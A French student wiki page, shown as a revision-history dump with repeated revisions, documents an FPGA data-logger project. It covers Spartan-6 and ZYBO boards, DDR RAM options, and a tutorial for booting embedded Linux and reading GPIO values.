2016-02-23T19:28:38Z

Avinot : /* Récupération des données des GPIOs */

==Cahier des charges==
===Présentation générale du projet===
====Dénomination du sujet par les enseignants====
{|class="wikitable centre"
|-
! scope="col" |Objectif
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques
|-
! scope="col"|Description
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.

Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.

Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)

La plate-forme sera constituée de :
*Un FPGA permettant de contrôler le système,
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,
*Une mémoire RAM de stockage des données,
*Une interface permettant de gérer la plate-forme et de récupérer les données.
|}

====Contexte====
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un "data logger". Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...

====Objectif du projet====
*stocker en RAM une série de donnée le plus rapidement possible
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)
*rendre modulaire le code en permettant d'ajouter un fréquencemètre
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM

===Étapes du projet===
Le projet va se dérouler en plusieurs étapes. 
1)Etude des plates-formes de programmation
 
2)Etude de la problématique
 
3)Proposition de solutions et argumentaire

===Choix techniques : matériel, logiciels, sources===
*[http://www.opencores.org OPENCORES.ORG]
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)

==Suivi des étapes du Projet==
===Etude des plates-formes de programmation===
====TE0600 & TE0603====
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le "cerveau" du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement.
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)] 
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet] 
=====Caracteristiques SPARTAN 6 XILINX LX45=====
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]
'''General'''
*consommation: 0.6A
*45nm low power process technology with 6-input LUTs
*1080MHz clock management tiles (2 DCM + 1 PLL)
*320MHz Block RAM from 216 - 4824 Kbits
*Memory interface controllers blocks from 0 - 4
*1.08Gbps SelectIO™ technology
*390MHz DSP48A1 slices from 8 - 180
*Embedded processing 
 
Pour plus de détails: 
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]
 
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description] 
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation] 
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics] 

=====Caractéristiques de TE0600 =====
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine
* JTAG port (SPI indirect)
* FPGA configuration through:
* B2B connector
* JTAG port
* SPI Flash memory
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips
* 4.0 A x 1.2 V power rail
* 1.5 A x 1.5 V power rail
* 125 MHz reference clock signal
* Single-ended custom oscillator (option)
* eFUSE bit-stream encryption (LX100 or larger)
* 1 user LED
* Evenly-spread supply pins for good signal integrity
* Other assembly options for cost or performance optimization available upon request. 
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600] 

=====Caractéristiques du TE0603=====
*Board power supply via screw terminals, DC jack
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB
*Small form factor: 115x70 mm
*Micro SD connector
*5 Header connectors with up to 114 user IOs
*2 Push-buttons for reset and user function
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] 

===== Étude de la carte TE0603=====
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. 
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. 

En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le "driver" pour accéder en écriture et en lecture les espaces mémoires.
 

====ZYBO====
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.

*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)

====LX9 MicroBoard====
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6 et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.
 
 
 
 
 

===Etude de la problématique===
====Étude pour l'ajout de RAM====
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits: 
'''Historique:''' 
[[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]
Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.

After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in "dual channel mode" to increase memory throughput even further.

Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3.

{| class="wikitable alternance centre"
|+ Comparatif des performances de DDR* RAM
|-
|
! scope="col" | DDR1 RAM
! scope="col" | DDR2 RAM
! scope="col" | DDR3 RAM
|-
! scope="row" | Nombre de pins
| 184
| 240
| 240
|-
! scope="row" | Vitesse d'horloge
| 100 MHz à 200 MHz
| 100 MHz à 266 MHz
| 100 MHz à 300 MHz
|-
! scope="row" | Taux maximum de tranfers
| 200 MT/s à 400 MT/s
| 400 MT/s à 1066 MT/s
| 800 MT/s à 2400 MT/s
|-
! scope="row" | Tension d'alimentation
| 2.5 V
| 1.8 V
| 1.5 V
|}

====IP pour SDRRAM====
[[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]
*Étude de l'IP pour l'adressage RAM
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:
**[http://opencores.org/project,sdr_ctrl opencore]
**Schéma fonctionnel:
 

Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.

====Etude des Memory Controller Blocks====
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]]
Il y a trois fonctions principales du point de vue de l'utilisateur:
*Lire le port (unidirectionnel)
*Écrire sur le port (unidirectionnel)
*Lire et écrire sur le port (bi directionnel)
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:
*Arbiter ou arbitre:
Il détermine quel port à la priorité pour accéder à la mémoire physique.
*Controller ou contrôleur:
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.
*Datapath
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.
*Physical Interface (PHY) ou interface physique:
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.
*Calibration Logic:
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.

===Proposition de solutions===
====Récuperation et affichage des données avec la pateforme ZYBO====
Voici une liste de matériel pour réaliser cette solution:
*Plateforme ZYBO
*Alimentation 5V 3A
*Carte microSD 4Gb (2Gb minimum)
*Cable RJ45
*Linux type Debian 
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs: 

=====Téléchargement et installation=====
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] 
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. 
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files 
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail 
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail 
=====Création d'une carte bootable sur ZYBO=====
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto8.PNG|100px|thumb|right|o°)]]
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie "récupération" des données. Si vous utilisez ce fichier .zip, sautez directement au point . 
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr 
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design 
h°)Supprimer l'IP pour adresser les LEDS 
i°)On va créer un nouvel IP, tool->Create and Package IP...; next; name-> myLed; next 
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed.
*Interface type ->Lite
*Mode ->Slave
*data width ->32 bits
*number of registers ->4
*Name->S00_AXI 
k°)La fenêtre suivante permet de choisir l'option "edit IP" 
l°)Dans le projetct manager, ouvrir "myLed_V1..." et ajouter à la ligne 18 :
{| width=10%
|<pre>output wire [3:0] led, </pre>
|}
et à la ligne 400 :
{| width=10%
|<pre> assign led=slv_reg0[3:0];</pre>
|}

m°)Il faut maintenant ajouter l'IP au design. Cliquer sur Open Block Design, puis click droit → Add IP et choisir myLed0. Relier comme sur l'image le I/O de l'IP en cliquant sur « run connection automation ». 
n°)Clique droit sur l'IP → create port, le nommer LED sur 4 bit et supprimer le précédent port. Relier le port de sortie à LED. 
o°)Dans les sources du Project manager, allez dans constraints, et ouvrir base.xdc et modifier comme sur l'image. 
p°) Dans le flow navigator, cliquer sur create bitstream. 

=====Préparation et utilisation de la carte µSD=====
q°)Dans notre dossier de travail, nous avons 4 fichiers :
*boot.bin
*devicetree.dtb
*uImage
*le fichier *.bit que l'on vient de générer et que l'on renomme xillydemo.bit
 
r°)Monter la carte µSD dans le PC sous linux. Créer une partition de 36Mo en FAT16 et une partition qui prend tout le reste de la place en ext4. Personnellement après de nombreuse tentatives, je recommande GParted. 
s°)Copier les quatre fichiers sur la partition de 36Mo. 
t°)Éteindre la board avec le switch. Mettre le jumper de boot sur SD. Installer la carte SD dans le slot. Allumer la board. 

Vous pouvez maintenant brancher un câble HDMI ou VGA à la board pour y connecter un écran, ainsi qu'un clavier pour faire la configuration et l'installation de Ubuntu. Le nom d'utilisateur est root et le mot de passe est toor. Le mieux est de faire un apt-get update, puis un apt-get upgrade pour mettre à jour les paquets. Il est maintenant nécessaire d'installer les paquets pour ssh si ce n'est pas déjà fait. Il est aussi nécessaire d'installer python. 
=====Récupération des données des GPIOs=====
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir.
On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.
Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado : 

On voit que les offset des LED et des SWITCH correspondent.
J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine. 

J'ai pu mesurer la vitesse d'acquisition des données, celle ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent de récupérer directement les données qui sont dans la RAM à partir du linux embarqué. 
[[Fichier:Tuto9.PNG|500px|thumb|center)]]
C'est là que le fichier d'adressage qui se situe dans
Pack_bit
si vous n'avez pas fait votre
propre bitstream
ou dans Vivado → Open Block Design → Adress Editor, va nous servir.
On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.
Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un
fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans
/dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que
l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado:
[[Fichier:Adress_map.PNG|500px|thumb|center)]]

On voit que les offset des LED et des SWITCH correspondent. J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine. J'ai pu mesurer la vitesse d'acquisition des données, celle ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent de récupérer directement les données qui sont dans la RAM à partir du linux embarqué.

==Fichiers==
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]
*Empreinte sous Altium Designer pour le connecteur DDR3
 
 
 

==Shopping==
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&entryPoint=adirect&messageType=catProductDetail&showAddButton=true&productID=1008153012207LF datasheet])
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])
*Recuperation de DDR1 au service informatique de Polytech

==Sources==
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] 
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité] 
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] 
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)] 
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations] 
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] [https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]

Fichier:Adress map.PNG

2016-02-23T19:27:02Z

Avinot :

P2 Data Logger

2016-02-23T19:26:35Z

Avinot : /* Récupération des données des GPIOs */

==Cahier des charges==
===Présentation générale du projet===
====Dénomination du sujet par les enseignants====
{|class="wikitable centre"
|-
! scope="col" |Objectif
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques
|-
! scope="col"|Description
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.

Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.

Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)

La plate-forme sera constituée de :
*Un FPGA permettant de contrôler le système,
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,
*Une mémoire RAM de stockage des données,
*Une interface permettant de gérer la plate-forme et de récupérer les données.
|}

====Contexte====
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un "data logger". Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...

====Objectif du projet====
*stocker en RAM une série de donnée le plus rapidement possible
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)
*rendre modulaire le code en permettant d'ajouter un fréquencemètre
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM

===Étapes du projet===
Le projet va se dérouler en plusieurs étapes. 
1)Etude des plates-formes de programmation
 
2)Etude de la problématique
 
3)Proposition de solutions et argumentaire

===Choix techniques : matériel, logiciels, sources===
*[http://www.opencores.org OPENCORES.ORG]
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)

==Suivi des étapes du Projet==
===Etude des plates-formes de programmation===
====TE0600 & TE0603====
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le "cerveau" du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement.
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)] 
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet] 
=====Caracteristiques SPARTAN 6 XILINX LX45=====
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]
'''General'''
*consommation: 0.6A
*45nm low power process technology with 6-input LUTs
*1080MHz clock management tiles (2 DCM + 1 PLL)
*320MHz Block RAM from 216 - 4824 Kbits
*Memory interface controllers blocks from 0 - 4
*1.08Gbps SelectIO™ technology
*390MHz DSP48A1 slices from 8 - 180
*Embedded processing 
 
Pour plus de détails: 
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]
 
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description] 
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation] 
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics] 

=====Caractéristiques de TE0600 =====
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine
* JTAG port (SPI indirect)
* FPGA configuration through:
* B2B connector
* JTAG port
* SPI Flash memory
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips
* 4.0 A x 1.2 V power rail
* 1.5 A x 1.5 V power rail
* 125 MHz reference clock signal
* Single-ended custom oscillator (option)
* eFUSE bit-stream encryption (LX100 or larger)
* 1 user LED
* Evenly-spread supply pins for good signal integrity
* Other assembly options for cost or performance optimization available upon request. 
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600] 

=====Caractéristiques du TE0603=====
*Board power supply via screw terminals, DC jack
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB
*Small form factor: 115x70 mm
*Micro SD connector
*5 Header connectors with up to 114 user IOs
*2 Push-buttons for reset and user function
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] 

===== Étude de la carte TE0603=====
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. 
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. 

En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le "driver" pour accéder en écriture et en lecture les espaces mémoires.
 

====ZYBO====
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.

*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)

====LX9 MicroBoard====
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6 et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.
 
 
 
 
 

===Etude de la problématique===
====Étude pour l'ajout de RAM====
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits: 
'''Historique:''' 
[[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]
Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.

After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in "dual channel mode" to increase memory throughput even further.

Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3.

{| class="wikitable alternance centre"
|+ Comparatif des performances de DDR* RAM
|-
|
! scope="col" | DDR1 RAM
! scope="col" | DDR2 RAM
! scope="col" | DDR3 RAM
|-
! scope="row" | Nombre de pins
| 184
| 240
| 240
|-
! scope="row" | Vitesse d'horloge
| 100 MHz à 200 MHz
| 100 MHz à 266 MHz
| 100 MHz à 300 MHz
|-
! scope="row" | Taux maximum de tranfers
| 200 MT/s à 400 MT/s
| 400 MT/s à 1066 MT/s
| 800 MT/s à 2400 MT/s
|-
! scope="row" | Tension d'alimentation
| 2.5 V
| 1.8 V
| 1.5 V
|}

====IP pour SDRRAM====
[[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]
*Étude de l'IP pour l'adressage RAM
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:
**[http://opencores.org/project,sdr_ctrl opencore]
**Schéma fonctionnel:
 

Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.

====Etude des Memory Controller Blocks====
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]]
Il y a trois fonctions principales du point de vue de l'utilisateur:
*Lire le port (unidirectionnel)
*Écrire sur le port (unidirectionnel)
*Lire et écrire sur le port (bi directionnel)
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:
*Arbiter ou arbitre:
Il détermine quel port à la priorité pour accéder à la mémoire physique.
*Controller ou contrôleur:
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.
